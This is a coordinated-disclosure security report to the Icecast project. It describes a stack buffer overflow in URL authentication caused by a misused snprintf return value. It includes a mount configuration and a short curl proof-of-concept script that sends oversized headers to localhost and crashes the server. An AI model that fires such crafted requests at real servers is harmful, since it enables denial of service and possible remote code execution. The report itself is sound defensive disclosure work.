Security vulnerability: buffer overflow in URL authentication allows remote code execution
Hello,
I would like to report a security vulnerability in the Icecast server.
The bug
url_add_client
in auth_url.c
contains this call inside a loop:
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);
If the string to be written is longer than sizeof(post) - post_offset
, snprintf
will truncate the string, but will return the number of bytes it would have written if the buffer were large enough. This means that post_offset
is incremented to be larger than sizeof(post)
, and any subsequent iteration of the loop will write beyond the end of the buffer.
Proof of concept
I configured a mount using URL authentication that forwards two headers:
<mount type="normal">
<mount-name>/auth_url.ogg</mount-name>
<authentication type="url">
<option name="headers" value="x-foo,x-bar"/>
...
</authentication>
</mount>
My Icecast server was running on localhost, port 8000, and then I ran the following Bash script:
foo=$(python -c "print('a' * 3950)")
bar=123456789123456789
curl -H "x-foo: $foo" -H "x-bar: $bar" http://localhost:8000/auth_url.ogg
The x-foo
header was truncated, but it caused postoffset
to be incremented beyond the size of the buffer, as described above. The subsequent handling of the x-bar
header overwrote other stack contents, causing my Icecast server to crash:
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
By controlling the length of the x-foo
header, and the contents of the x-bar
header, it seems likely that remote code execution would be possible.
Related bug
Our automated analysis highlighted this bug, and another similar misuse of snprintf
in format_prepare_headers
in format.c
, but I did not investigate whether that one would be exploitable.
Those analysis results are visible here: https://lgtm.com/projects/g/xiph/Icecast-Server/alerts/?mode=tree&ruleFocus=1505913226124
Disclosure
Please let me know when you have fixed the vulnerability, so that we can coordinate our disclosure with yours. For reference, here is a link to our vulnerability disclosure policy: https://lgtm.com/security
Thanks!
--Nick Rolfe, Semmle Security Research Team